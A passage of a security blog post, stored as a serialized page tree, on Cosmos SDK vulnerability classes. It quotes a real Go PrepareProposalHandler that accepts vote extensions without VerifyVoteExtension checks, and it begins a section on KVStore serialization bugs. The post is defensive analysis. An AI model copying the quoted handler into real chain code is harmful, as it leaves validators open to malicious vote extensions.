validator.\n",{"type":20,"tag":315,"props":82131,"children":82132},{"class":317,"line":2061},[82133],{"type":20,"tag":315,"props":82134,"children":82135},{"style":334},[82136],{"type":26,"value":80776},{"type":20,"tag":315,"props":82138,"children":82139},{"class":317,"line":2070},[82140,82144,82148,82152,82156,82161,82165,82169,82173,82178,82182,82187,82191,82195],{"type":20,"tag":315,"props":82141,"children":82142},{"style":635},[82143],{"type":26,"value":80594},{"type":20,"tag":315,"props":82145,"children":82146},{"style":334},[82147],{"type":26,"value":74674},{"type":20,"tag":315,"props":82149,"children":82150},{"style":635},[82151],{"type":26,"value":81754},{"type":20,"tag":315,"props":82153,"children":82154},{"style":328},[82155],{"type":26,"value":61},{"type":20,"tag":315,"props":82157,"children":82158},{"style":635},[82159],{"type":26,"value":82160},"blockExec",{"type":20,"tag":315,"props":82162,"children":82163},{"style":328},[82164],{"type":26,"value":61},{"type":20,"tag":315,"props":82166,"children":82167},{"style":345},[82168],{"type":26,"value":81422},{"type":20,"tag":315,"props":82170,"children":82171},{"style":328},[82172],{"type":26,"value":1049},{"type":20,"tag":315,"props":82174,"children":82175},{"style":635},[82176],{"type":26,"value":82177},"context",{"type":20,"tag":315,"props":82179,"children":82180},{"style":328},[82181],{"type":26,"value":61},{"type":20,"tag":315,"props":82183,"children":82184},{"style":345},[82185],{"type":26,"value":82186},"TODO",{"type":20,"tag":315,"props":82188,"children":82189},{"style":328},[82190],{"type":26,"value":16778},{"type":20,"tag":315,"props":82192,"children":82193},{"style":635},[82194],{"type":26,"value":81617},{"type":20,"tag":315,"props":82196,"children":82197},{"style":328},[82198],{"type":26,"value":380},{"type":20,"tag":315,"props":82200,"children":82201},{"class":317,"line":2139},[82202],{"type":20,"tag":315,"props":82203,"children":82204},{"style":334},[82205],{"type":26,"value":80776},{"type":20,"tag":315,"props":82207,"children":82208},{"class":317,"line":2147},[82209],{"type":20,"tag":315,"props":82210,"children":82211},{"style":328},[82212],{"type":26,"value":1728},{"type":20,"tag":315,"props":82214,"children":82215},{"class":317,"line":2177},[82216,82220,82224,82228],{"type":20,"tag":315,"props":82217,"children":82218},{"style":328},[82219],{"type":26,"value":14180},{"type":20,"tag":315,"props":82221,"children":82222},{"style":525},[82223],{"type":26,"value":1087},{"type":20,"tag":315,"props":82225,"children":82226},{"style":525},[82227],{"type":26,"value":14189},{"type":20,"tag":315,"props":82229,"children":82230},{"style":328},[82231],{"type":26,"value":1092},{"type":20,"tag":315,"props":82233,"children":82234},{"class":317,"line":2185},[82235],{"type":20,"tag":315,"props":82236,"children":82237},{"style":334},[82238],{"type":26,"value":80100},{"type":20,"tag":315,"props":82240,"children":82241},{"class":317,"line":2217},[82242],{"type":20,"tag":315,"props":82243,"children":82244},{"style":328},[82245],{"type":26,"value":1736},{"type":20,"tag":315,"props":82247,"children":82248},{"class":317,"line":2225},[82249],{"type":20,"tag":315,"props":82250,"children":82251},{"style":334},[82252],{"type":26,"value":18743},{"type":20,"tag":315,"props":82254,"children":82255},{"class":317,"line":2285},[82256],{"type":20,"tag":315,"props":82257,"children":82258},{"style":328},[82259],{"type":26,"value":577},{"type":20,"tag":29,"props":82261,"children":82262},{},[82263],{"type":26,"value":82264},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":20,"tag":219,"props":82266,"children":82268},{"id":82267},"real-world-examples-4",[82269],{"type":26,"value":74947},{"type":20,"tag":29,"props":82271,"children":82272},{},[82273,82275,82280,82282,82288,82290,82296],{"type":26,"value":82274},"An example of the bug we just described is shown here. ",{"type":20,"tag":119,"props":82276,"children":82278},{"className":82277},[],[82279],{"type":26,"value":81401},{"type":26,"value":82281}," only checks that each vote is properly signed by a validator in ",{"type":20,"tag":119,"props":82283,"children":82285},{"className":82284},[],[82286],{"type":26,"value":82287},"ValidateVoteExtension",{"type":26,"value":82289}," but does not verify it against the rules in ",{"type":20,"tag":119,"props":82291,"children":82293},{"className":82292},[],[82294],{"type":26,"value":82295},"VerifyVoteExtention.",{"type":26,"value":82297}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":20,"tag":29,"props":82299,"children":82300},{},[82301],{"type":20,"tag":35,"props":82302,"children":82305},{"href":82303,"rel":82304},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[39],[82306],{"type":26,"value":74997},{"type":20,"tag":305,"props":82308,"children":82310},{"code":82309,"language":74422,"meta":7,"className":74423,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[82311],{"type":20,"tag":119,"props":82312,"children":82313},{"__ignoreMap":7},[82314,82368,82459,82466,82487,82554,82562,82667,82690,82709,82716,82770,82793,82848,82867,82874,82881,82888,82942,82949,82975,82998,83050,83112,83119,83146,83166,83178,83185],{"type":20,"tag":315,"props":82315,"children":82316},{"class":317,"line":318},[82317,82321,82325,82330,82334,82339,82343,82348,82352,82356,82360,82364],{"type":20,"tag":315,"props":82318,"children":82319},{"style":541},[82320],{"type":26,"value":74558},{"type":20,"tag":315,"props":82322,"children":82323},{"style":328},[82324],{"type":26,"value":463},{"type":20,"tag":315,"props":82326,"children":82327},{"style":635},[82328],{"type":26,"value":82329},"h ",{"type":20,"tag":315,"props":82331,"children":82332},{"style":334},[82333],{"type":26,"value":901},{"type":20,"tag":315,"props":82335,"children":82336},{"style":322},[82337],{"type":26,"value":82338},"Handlers",{"type":20,"tag":315,"props":82340,"children":82341},{"style":328},[82342],{"type":26,"value":1468},{"type":20,"tag":315,"props":82344,"children":82345},{"style":345},[82346],{"type":26,"value":82347},"PrepareProposalHandler",{"type":20,"tag":315,"props":82349,"children":82350},{"style":328},[82351],{"type":26,"value":12444},{"type":20,"tag":315,"props":82353,"children":82354},{"style":322},[82355],{"type":26,"value":76988},{"type":20,"tag":315,"props":82357,"children":82358},{"style":328},[82359],{"type":26,"value":61},{"type":20,"tag":315,"props":82361,"children":82362},{"style":322},[82363],{"type":26,"value":82347},{"type":20,"tag":315,"props":82365,"children":82366},{"style":328},[82367],{"type":26,"value":1092},{"type":20,"tag":315,"props":82369,"children":82370},{"class":317,"line":356},[82371,82375,82379,82383,82387,82391,82395,82399,82403,82408,82412,82417,82421,82426,82430,82434,82438,82442,82447,82451,82455],{"type":20,"tag":315,"props":82372,"children":82373},{"style":525},[82374],{"type":26,"value":731},{"type":20,"tag":315,"props":82376,"children":82377},{"style":541},[82378],{"type":26,"value":78267},{"type":20,"tag":315,"props":82380,"children":82381},{"style":328},[82382],{"type":26,"value":1049},{"type":20,"tag":315,"props":82384,"children":82385},{"style":635},[82386],{"type":26,"value":18684},{"type":20,"tag":315,"props":82388,"children":82389},{"style":322},[82390],{"type":26,"value":76899},{"type":20,"tag":315,"props":82392,"children":82393},{"style":328},[82394],{"type":26,"value":61},{"type":20,"tag":315,"props":82396,"children":82397},{"style":322},[82398],{"type":26,"value":74607},{"type":20,"tag":315,"props":82400,"children":82401},{"style":328},[82402],{"type":26,"value":44},{"type":20,"tag":315,"props":82404,"children":82405},{"style":635},[82406],{"type":26,"value":82407},"req",{"type":20,"tag":315,"props":82409,"children":82410},{"style":334},[82411],{"type":26,"value":8216},{"type":20,"tag":315,"props":82413,"children":82414},{"style":322},[82415],{"type":26,"value":82416},"abcitypes",{"type":20,"tag":315,"props":82418,"children":82419},{"style":328},[82420],{"type":26,"value":61},{"type":20,"tag":315,"props":82422,"children":82423},{"style":322},[82424],{"type":26,"value":82425},"RequestPrepareProposal",{"type":20,"tag":315,"props":82427,"children":82428},{"style":328},[82429],{"type":26,"value":74640},{"type":20,"tag":315,"props":82431,"children":82432},{"style":334},[82433],{"type":26,"value":901},{"type":20,"tag":315,"props":82435,"children":82436},{"style":322},[82437],{"type":26,"value":82416},{"type":20,"tag":315,"props":82439,"children":82440},{"style":328},[82441],{"type":26,"value":61},{"type":20,"tag":315,"props":82443,"children":82444},{"style":322},[82445],{"type":26,"value":82446},"ResponsePrepareProposal",{"type":20,"tag":315,"props":82448,"children":82449},{"style":328},[82450],{"type":26,"value":44},{"type":20,"tag":315,"props":82452,"children":82453},{"style":322},[82454],{"type":26,"value":13264},{"type":20,"tag":315,"props":82456,"children":82457},{"style":328},[82458],{"type":26,"value":549},{"type":20,"tag":315,"props":82460,"children":82461},{"class":317,"line":365},[82462],{"type":20,"tag":315,"props":82463,"children":82464},{"style":334},[82465],{"type":26,"value":80100},{"type":20,"tag":315,"props":82467,"children":82468},{"class":317,"line":374},[82469,82473,82478,82482],{"type":20,"tag":315,"props":82470,"children":82471},{"style":541},[82472],{"type":26,"value":78376},{"type":20,"tag":315,"props":82474,"children":82475},{"style":635},[82476],{"type":26,"value":82477}," injection",{"type":20,"tag":315,"props":82479,"children":82480},{"style":328},[82481],{"type":26,"value":74485},{"type":20,"tag":315,"props":82483,"children":82484},{"style":322},[82485],{"type":26,"value":82486},"byte\n",{"type":20,"tag":315,"props":82488,"children":82489},{"class":317,"line":383},[82490,82494,82499,82503,82507,82511,82515,82519,82523,82527,82532,82536,82541,82545,82550],{"type":20,"tag":315,"props":82491,"children":82492},{"style":525},[82493],{"type":26,"value":1654},{"type":20,"tag":315,"props":82495,"children":82496},{"style":635},[82497],{"type":26,"value":82498}," req",{"type":20,"tag":315,"props":82500,"children":82501},{"style":328},[82502],{"type":26,"value":61},{"type":20,"tag":315,"props":82504,"children":82505},{"style":635},[82506],{"type":26,"value":81737},{"type":20,"tag":315,"props":82508,"children":82509},{"style":334},[82510],{"type":26,"value":12595},{"type":20,"tag":315,"props":82512,"children":82513},{"style":635},[82514],{"type":26,"value":24259},{"type":20,"tag":315,"props":82516,"children":82517},{"style":328},[82518],{"type":26,"value":61},{"type":20,"tag":315,"props":82520,"children":82521},{"style":345},[82522],{"type":26,"value":81938},{"type":20,"tag":315,"props":82524,"children":82525},{"style":328},[82526],{"type":26,"value":28583},{"type":20,"tag":315,"props":82528,"children":82529},{"style":635},[82530],{"type":26,"value":82531},"Abci",{"type":20,"tag":315,"props":82533,"children":82534},{"style":328},[82535],{"type":26,"value":61},{"type":20,"tag":315,"props":82537,"children":82538},{"style":635},[82539],{"type":26,"value":82540},"VoteExtensionsEnableHeight",{"type":20,"tag":315,"props":82542,"children":82543},{"style":334},[82544],{"type":26,"value":12586},{"type":20,"tag":315,"props":82546,"children":82547},{"style":635},[82548],{"type":26,"value":82549}," collectSigs",{"type":20,"tag":315,"props":82551,"children":82552},{"style":328},[82553],{"type":26,"value":1092},{"type":20,"tag":315,"props":82555,"children":82556},{"class":317,"line":407},[82557],{"type":20,"tag":315,"props":82558,"children":82559},{"style":1071},[82560],{"type":26,"value":82561}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":20,"tag":315,"props":82563,"children":82564},{"class":317,"line":421},[82565,82569,82573,82578,82582,82587,82591,82595,82599,82604,82608,82613,82617,82621,82625,82629,82633,82637,82641,82646,82650,82654,82658,82663],{"type":20,"tag":315,"props":82566,"children":82567},{"style":635},[82568],{"type":26,"value":80594},{"type":20,"tag":315,"props":82570,"children":82571},{"style":334},[82572],{"type":26,"value":74674},{"type":20,"tag":315,"props":82574,"children":82575},{"style":635},[82576],{"type":26,"value":82577}," baseapp",{"type":20,"tag":315,"props":82579,"children":82580},{"style":328},[82581],{"type":26,"value":61},{"type":20,"tag":315,"props":82583,"children":82584},{"style":345},[82585],{"type":26,"value":82586},"ValidateVoteExtensions",{"type":20,"tag":315,"props":82588,"children":82589},{"style":328},[82590],{"type":26,"value":1049},{"type":20,"tag":315,"props":82592,"children":82593},{"style":635},[82594],{"type":26,"value":18684},{"type":20,"tag":315,"props":82596,"children":82597},{"style":328},[82598],{"type":26,"value":44},{"type":20,"tag":315,"props":82600,"children":82601},{"style":635},[82602],{"type":26,"value":82603},"h",{"type":20,"tag":315,"props":82605,"children":82606},{"style":328},[82607],{"type":26,"value":61},{"type":20,"tag":315,"props":82609,"children":82610},{"style":635},[82611],{"type":26,"value":82612},"stakingKeeper",{"type":20,"tag":315,"props":82614,"children":82615},{"style":328},[82616],{"type":26,"value":44},{"type":20,"tag":315,"props":82618,"children":82619},{"style":635},[82620],{"type":26,"value":82407},{"type":20,"tag":315,"props":82622,"children":82623},{"style":328},[82624],{"type":26,"value":61},{"type":20,"tag":315,"props":82626,"children":82627},{"style":635},[82628],{"type":26,"value":81737},{"type":20,"tag":315,"props":82630,"children":82631},{"style":328},[82632],{"type":26,"value":44},{"type":20,"tag":315,"props":82634,"children":82635},{"style":635},[82636],{"type":26,"value":18684},{"type":20,"tag":315,"props":82638,"children":82639},{"style":328},[82640],{"type":26,"value":61},{"type":20,"tag":315,"props":82642,"children":82643},{"style":345},[82644],{"type":26,"value":82645},"ChainID",{"type":20,"tag":315,"props":82647,"children":82648},{"style":328},[82649],{"type":26,"value":16778},{"type":20,"tag":315,"props":82651,"children":82652},{"style":635},[82653],{"type":26,"value":82407},{"type":20,"tag":315,"props":82655,"children":82656},{"style":328},[82657],{"type":26,"value":61},{"type":20,"tag":315,"props":82659,"children":82660},{"style":635},[82661],{"type":26,"value":82662},"LocalLastCommit",{"type":20,"tag":315,"props":82664,"children":82665},{"style":328},[82666],{"type":26,"value":380},{"type":20,"tag":315,"props":82668,"children":82669},{"class":317,"line":430},[82670,82674,82678,82682,82686],{"type":20,"tag":315,"props":82671,"children":82672},{"style":525},[82673],{"type":26,"value":57054},{"type":20,"tag":315,"props":82675,"children":82676},{"style":635},[82677],{"type":26,"value":46772},{"type":20,"tag":315,"props":82679,"children":82680},{"style":334},[82681],{"type":26,"value":62641},{"type":20,"tag":315,"props":82683,"children":82684},{"style":541},[82685],{"type":26,"value":80176},{"type":20,"tag":315,"props":82687,"children":82688},{"style":328},[82689],{"type":26,"value":1092},{"type":20,"tag":315,"props":82691,"children":82692},{"class":317,"line":453},[82693,82697,82701,82705],{"type":20,"tag":315,"props":82694,"children":82695},{"style":525},[82696],{"type":26,"value":58982},{"type":20,"tag":315,"props":82698,"children":82699},{"style":541},[82700],{"type":26,"value":80176},{"type":20,"tag":315,"props":82702,"children":82703},{"style":328},[82704],{"type":26,"value":44},{"type":20,"tag":315,"props":82706,"children":82707},{"style":635},[82708],{"type":26,"value":81897},{"type":20,"tag":315,"props":82710,"children":82711},{"class":317,"line":486},[82712],{"type":20,"tag":315,"props":82713,"children":82714},{"style":328},[82715],{"type":26,"value":57138},{"type":20,"tag":315,"props":82717,"children":82718},{"class":317,"line":499},[82719,82724,82728,82732,82736,82741,82745,82750,82754,82758,82762,82766],{"type":20,"tag":315,"props":82720,"children":82721},{"style":635},[82722],{"type":26,"value":82723}," injection",{"type":20,"tag":315,"props":82725,"children":82726},{"style":328},[82727],{"type":26,"value":44},{"type":20,"tag":315,"props":82729,"children":82730},{"style":635},[82731],{"type":26,"value":46671},{"type":20,"tag":315,"props":82733,"children":82734},{"style":334},[82735],{"type":26,"value":1395},{"type":20,"tag":315,"props":82737,"children":82738},{"style":635},[82739],{"type":26,"value":82740}," json",{"type":20,"tag":315,"props":82742,"children":82743},{"style":328},[82744],{"type":26,"value":61},{"type":20,"tag":315,"props":82746,"children":82747},{"style":345},[82748],{"type":26,"value":82749},"Marshal",{"type":20,"tag":315,"props":82751,"children":82752},{"style":328},[82753],{"type":26,"value":1049},{"type":20,"tag":315,"props":82755,"children":82756},{"style":635},[82757],{"type":26,"value":82407},{"type":20,"tag":315,"props":82759,"children":82760},{"style":328},[82761],{"type":26,"value":61},{"type":20,"tag":315,"props":82763,"children":82764},{"style":635},[82765],{"type":26,"value":82662},{"type":20,"tag":315,"props":82767,"children":82768},{"style":328},[82769],{"type":26,"value":380},{"type":20,"tag":315,"props":82771,"children":82772},{"class":317,"line":513},[82773,82777,82781,82785,82789],{"type":20,"tag":315,"props":82774,"children":82775},{"style":525},[82776],{"type":26,"value":57054},{"type":20,"tag":315,"props":82778,"children":82779},{"style":635},[82780],{"type":26,"value":46772},{"type":20,"tag":315,"props":82782,"children":82783},{"style":334},[82784],{"type":26,"value":62641},{"type":20,"tag":315,"props":82786,"children":82787},{"style":541},[82788],{"type":26,"value":80176},{"type":20,"tag":315,"props":82790,"children":82791},{"style":328},[82792],{"type":26,"value":1092},{"type":20,"tag":315,"props":82794,"children":82795},{"class":317,"line":521},[82796,82801,82805,82810,82814,82818,82822,82827,82831,82836,82840,82844],{"type":20,"tag":315,"props":82797,"children":82798},{"style":635},[82799],{"type":26,"value":82800}," h",{"type":20,"tag":315,"props":82802,"children":82803},{"style":328},[82804],{"type":26,"value":61},{"type":20,"tag":315,"props":82806,"children":82807},{"style":635},[82808],{"type":26,"value":82809},"logger",{"type":20,"tag":315,"props":82811,"children":82812},{"style":328},[82813],{"type":26,"value":61},{"type":20,"tag":315,"props":82815,"children":82816},{"style":345},[82817],{"type":26,"value":35814},{"type":20,"tag":315,"props":82819,"children":82820},{"style":328},[82821],{"type":26,"value":1049},{"type":20,"tag":315,"props":82823,"children":82824},{"style":2652},[82825],{"type":26,"value":82826},"\"failed to marshal extended votes\"",{"type":20,"tag":315,"props":82828,"children":82829},{"style":328},[82830],{"type":26,"value":44},{"type":20,"tag":315,"props":82832,"children":82833},{"style":2652},[82834],{"type":26,"value":82835},"\"err\"",{"type":20,"tag":315,"props":82837,"children":82838},{"style":328},[82839],{"type":26,"value":44},{"type":20,"tag":315,"props":82841,"children":82842},{"style":635},[82843],{"type":26,"value":46671},{"type":20,"tag":315,"props":82845,"children":82846},{"style":328},[82847],{"type":26,"value":380},{"type":20,"tag":315,"props":82849,"children":82850},{"class":317,"line":552},[82851,82855,82859,82863],{"type":20,"tag":315,"props":82852,"children":82853},{"style":525},[82854],{"type":26,"value":58982},{"type":20,"tag":315,"props":82856,"children":82857},{"style":541},[82858],{"type":26,"value":80176},{"type":20,"tag":315,"props":82860,"children":82861},{"style":328},[82862],{"type":26,"value":44},{"type":20,"tag":315,"props":82864,"children":82865},{"style":635},[82866],{"type":26,"value":81897},{"type":20,"tag":315,"props":82868,"children":82869},{"class":317,"line":571},[82870],{"type":20,"tag":315,"props":82871,"children":82872},{"style":328},[82873],{"type":26,"value":57138},{"type":20,"tag":315,"props":82875,"children":82876},{"class":317,"line":2031},[82877],{"type":20,"tag":315,"props":82878,"children":82879},{"style":334},[82880],{"type":26,"value":80776},{"type":20,"tag":315,"props":82882,"children":82883},{"class":317,"line":2053},[82884],{"type":20,"tag":315,"props":82885,"children":82886},{"style":328},[82887],{"type":26,"value":1728},{"type":20,"tag":315,"props":82889,"children":82890},{"class":317,"line":2061},[82891,82896,82900,82904,82908,82913,82917,82922,82926,82930,82934,82938],{"type":20,"tag":315,"props":82892,"children":82893},{"style":635},[82894],{"type":26,"value":82895}," defaultRes",{"type":20,"tag":315,"props":82897,"children":82898},{"style":328},[82899],{"type":26,"value":44},{"type":20,"tag":315,"props":82901,"children":82902},{"style":635},[82903],{"type":26,"value":46671},{"type":20,"tag":315,"props":82905,"children":82906},{"style":334},[82907],{"type":26,"value":74674},{"type":20,"tag":315,"props":82909,"children":82910},{"style":635},[82911],{"type":26,"value":82912}," h",{"type":20,"tag":315,"props":82914,"children":82915},{"style":328},[82916],{"type":26,"value":61},{"type":20,"tag":315,"props":82918,"children":82919},{"style":345},[82920],{"type":26,"value":82921},"defaultPrepareProposal",{"type":20,"tag":315,"props":82923,"children":82924},{"style":328},[82925],{"type":26,"value":1049},{"type":20,"tag":315,"props":82927,"children":82928},{"style":635},[82929],{"type":26,"value":18684},{"type":20,"tag":315,"props":82931,"children":82932},{"style":328},[82933],{"type":26,"value":44},{"type":20,"tag":315,"props":82935,"children":82936},{"style":635},[82937],{"type":26,"value":82407},{"type":20,"tag":315,"props":82939,"children":82940},{"style":328},[82941],{"type":26,"value":380},{"type":20,"tag":315,"props":82943,"children":82944},{"class":317,"line":2070},[82945],{"type":20,"tag":315,"props":82946,"children":82947},{"style":334},[82948],{"type":26,"value":80100},{"type":20,"tag":315,"props":82950,"children":82951},{"class":317,"line":2139},[82952,82957,82961,82966,82970],{"type":20,"tag":315,"props":82953,"children":82954},{"style":635},[82955],{"type":26,"value":82956}," proposalTxs",{"type":20,"tag":315,"props":82958,"children":82959},{"style":334},[82960],{"type":26,"value":74674},{"type":20,"tag":315,"props":82962,"children":82963},{"style":635},[82964],{"type":26,"value":82965}," defaultRes",{"type":20,"tag":315,"props":82967,"children":82968},{"style":328},[82969],{"type":26,"value":61},{"type":20,"tag":315,"props":82971,"children":82972},{"style":635},[82973],{"type":26,"value":82974},"Txs\n",{"type":20,"tag":315,"props":82976,"children":82977},{"class":317,"line":2147},[82978,82982,82986,82990,82994],{"type":20,"tag":315,"props":82979,"children":82980},{"style":525},[82981],{"type":26,"value":1654},{"type":20,"tag":315,"props":82983,"children":82984},{"style":635},[82985],{"type":26,"value":82477},{"type":20,"tag":315,"props":82987,"children":82988},{"style":334},[82989],{"type":26,"value":62641},{"type":20,"tag":315,"props":82991,"children":82992},{"style":541},[82993],{"type":26,"value":80176},{"type":20,"tag":315,"props":82995,"children":82996},{"style":328},[82997],{"type":26,"value":1092},{"type":20,"tag":315,"props":82999,"children":83000},{"class":317,"line":2177},[83001,83006,83010,83014,83019,83024,83028,83033,83037,83042,83046],{"type":20,"tag":315,"props":83002,"children":83003},{"style":635},[83004],{"type":26,"value":83005}," proposalTxs",{"type":20,"tag":315,"props":83007,"children":83008},{"style":334},[83009],{"type":26,"value":1395},{"type":20,"tag":315,"props":83011,"children":83012},{"style":345},[83013],{"type":26,"value":75954},{"type":20,"tag":315,"props":83015,"children":83016},{"style":328},[83017],{"type":26,"value":83018},"([][]",{"type":20,"tag":315,"props":83020,"children":83021},{"style":322},[83022],{"type":26,"value":83023},"byte",{"type":20,"tag":315,"props":83025,"children":83026},{"style":328},[83027],{"type":26,"value":74876},{"type":20,"tag":315,"props":83029,"children":83030},{"style":635},[83031],{"type":26,"value":83032},"injection",{"type":20,"tag":315,"props":83034,"children":83035},{"style":328},[83036],{"type":26,"value":74895},{"type":20,"tag":315,"props":83038,"children":83039},{"style":635},[83040],{"type":26,"value":83041},"proposalTxs",{"type":20,"tag":315,"props":83043,"children":83044},{"style":334},[83045],{"type":26,"value":7990},{"type":20,"tag":315,"props":83047,"children":83048},{"style":328},[83049],{"type":26,"value":380},{"type":20,"tag":315,"props":83051,"children":83052},{"class":317,"line":2185},[83053,83058,83062,83066,83070,83074,83078,83083,83087,83092,83096,83100,83104,83108],{"type":20,"tag":315,"props":83054,"children":83055},{"style":635},[83056],{"type":26,"value":83057}," h",{"type":20,"tag":315,"props":83059,"children":83060},{"style":328},[83061],{"type":26,"value":61},{"type":20,"tag":315,"props":83063,"children":83064},{"style":635},[83065],{"type":26,"value":82809},{"type":20,"tag":315,"props":83067,"children":83068},{"style":328},[83069],{"type":26,"value":61},{"type":20,"tag":315,"props":83071,"children":83072},{"style":345},[83073],{"type":26,"value":23126},{"type":20,"tag":315,"props":83075,"children":83076},{"style":328},[83077],{"type":26,"value":1049},{"type":20,"tag":315,"props":83079,"children":83080},{"style":2652},[83081],{"type":26,"value":83082},"\"injected local last commit\"",{"type":20,"tag":315,"props":83084,"children":83085},{"style":328},[83086],{"type":26,"value":44},{"type":20,"tag":315,"props":83088,"children":83089},{"style":2652},[83090],{"type":26,"value":83091},"\"height\"",{"type":20,"tag":315,"props":83093,"children":83094},{"style":328},[83095],{"type":26,"value":44},{"type":20,"tag":315,"props":83097,"children":83098},{"style":635},[83099],{"type":26,"value":82407},{"type":20,"tag":315,"props":83101,"children":83102},{"style":328},[83103],{"type":26,"value":61},{"type":20,"tag":315,"props":83105,"children":83106},{"style":635},[83107],{"type":26,"value":81737},{"type":20,"tag":315,"props":83109,"children":83110},{"style":328},[83111],{"type":26,"value":380},{"type":20,"tag":315,"props":83113,"children":83114},{"class":317,"line":2217},[83115],{"type":20,"tag":315,"props":83116,"children":83117},{"style":328},[83118],{"type":26,"value":1728},{"type":20,"tag":315,"props":83120,"children":83121},{"class":317,"line":2225},[83122,83126,83130,83134,83138,83142],{"type":20,"tag":315,"props":83123,"children":83124},{"style":525},[83125],{"type":26,"value":14145},{"type":20,"tag":315,"props":83127,"children":83128},{"style":334},[83129],{"type":26,"value":5536},{"type":20,"tag":315,"props":83131,"children":83132},{"style":322},[83133],{"type":26,"value":82416},{"type":20,"tag":315,"props":83135,"children":83136},{"style":328},[83137],{"type":26,"value":61},{"type":20,"tag":315,"props":83139,"children":83140},{"style":322},[83141],{"type":26,"value":82446},{"type":20,"tag":315,"props":83143,"children":83144},{"style":328},[83145],{"type":26,"value":723},{"type":20,"tag":315,"props":83147,"children":83148},{"class":317,"line":2285},[83149,83154,83158,83162],{"type":20,"tag":315,"props":83150,"children":83151},{"style":635},[83152],{"type":26,"value":83153}," Txs",{"type":20,"tag":315,"props":83155,"children":83156},{"style":328},[83157],{"type":26,"value":13732},{"type":20,"tag":315,"props":83159,"children":83160},{"style":635},[83161],{"type":26,"value":83041},{"type":20,"tag":315,"props":83163,"children":83164},{"style":328},[83165],{"type":26,"value":643},{"type":20,"tag":315,"props":83167,"children":83168},{"class":317,"line":7444},[83169,83174],{"type":20,"tag":315,"props":83170,"children":83171},{"style":328},[83172],{"type":26,"value":83173}," }, ",{"type":20,"tag":315,"props":83175,"children":83176},{"style":541},[83177],{"type":26,"value":74900},{"type":20,"tag":315,"props":83179,"children":83180},{"class":317,"line":7462},[83181],{"type":20,"tag":315,"props":83182,"children":83183},{"style":328},[83184],{"type":26,"value":1736},{"type":20,"tag":315,"props":83186,"children":83187},{"class":317,"line":7507},[83188],{"type":20,"tag":315,"props":83189,"children":83190},{"style":328},[83191],{"type":26,"value":577},{"type":20,"tag":29,"props":83193,"children":83194},{},[83195,83197,83202,83203,83208,83210,83217],{"type":26,"value":83196},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":20,"tag":119,"props":83198,"children":83200},{"className":83199},[],[83201],{"type":26,"value":81566},{"type":26,"value":463},{"type":20,"tag":119,"props":83204,"children":83206},{"className":83205},[],[83207],{"type":26,"value":81634},{"type":26,"value":83209},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":20,"tag":35,"props":83211,"children":83214},{"href":83212,"rel":83213},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[39],[83215],{"type":26,"value":83216},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":26,"value":83218},", which will later get rejected by CometBTF.",{"type":20,"tag":21,"props":83220,"children":83222},{"id":83221},"the-keymaker",[83223],{"type":26,"value":83224},"The Keymaker",{"type":20,"tag":29,"props":83226,"children":83227},{},[83228,83230,83236,83238,83243],{"type":26,"value":83229},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":20,"tag":119,"props":83231,"children":83233},{"className":83232},[],[83234],{"type":26,"value":83235},"KVStore",{"type":26,"value":83237}," to handle states efficently. In ",{"type":20,"tag":119,"props":83239,"children":83241},{"className":83240},[],[83242],{"type":26,"value":83235},{"type":26,"value":83244},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":20,"tag":29,"props":83246,"children":83247},{},[83248],{"type":26,"value":83249},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":20,"tag":29,"props":83251,"children":83252},{},[83253,83255,83261],{"type":26,"value":83254},"Let's start by considering a scenario where we need to store the ",{"type":20,"tag":119,"props":83256,"children":83258},{"className":83257},[],[83259],{"type":26,"value":83260},"positionMap",{"type":26,"value":83262}," structure mentioned below into storage.",{"type":20,"tag":305,"props":83264,"children":83266},{"code":83265,"language":74422,"meta":7,"className":74423,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[83267],{"type":20,"tag":119,"props":83268,"children":83269},{"__ignoreMap":7},[83270,83286,83303,83319,83338,83353,83360,83377],{"type":20,"tag":315,"props":83271,"children":83272},{"class":317,"line":318},[83273,83277,83282],{"type":20,"tag":315,"props":83274,"children":83275},{"style":541},[83276],{"type":26,"value":31170},{"type":20,"tag":315,"props":83278,"children":83279},{"style":322},[83280],{"type":26,"value":83281}," 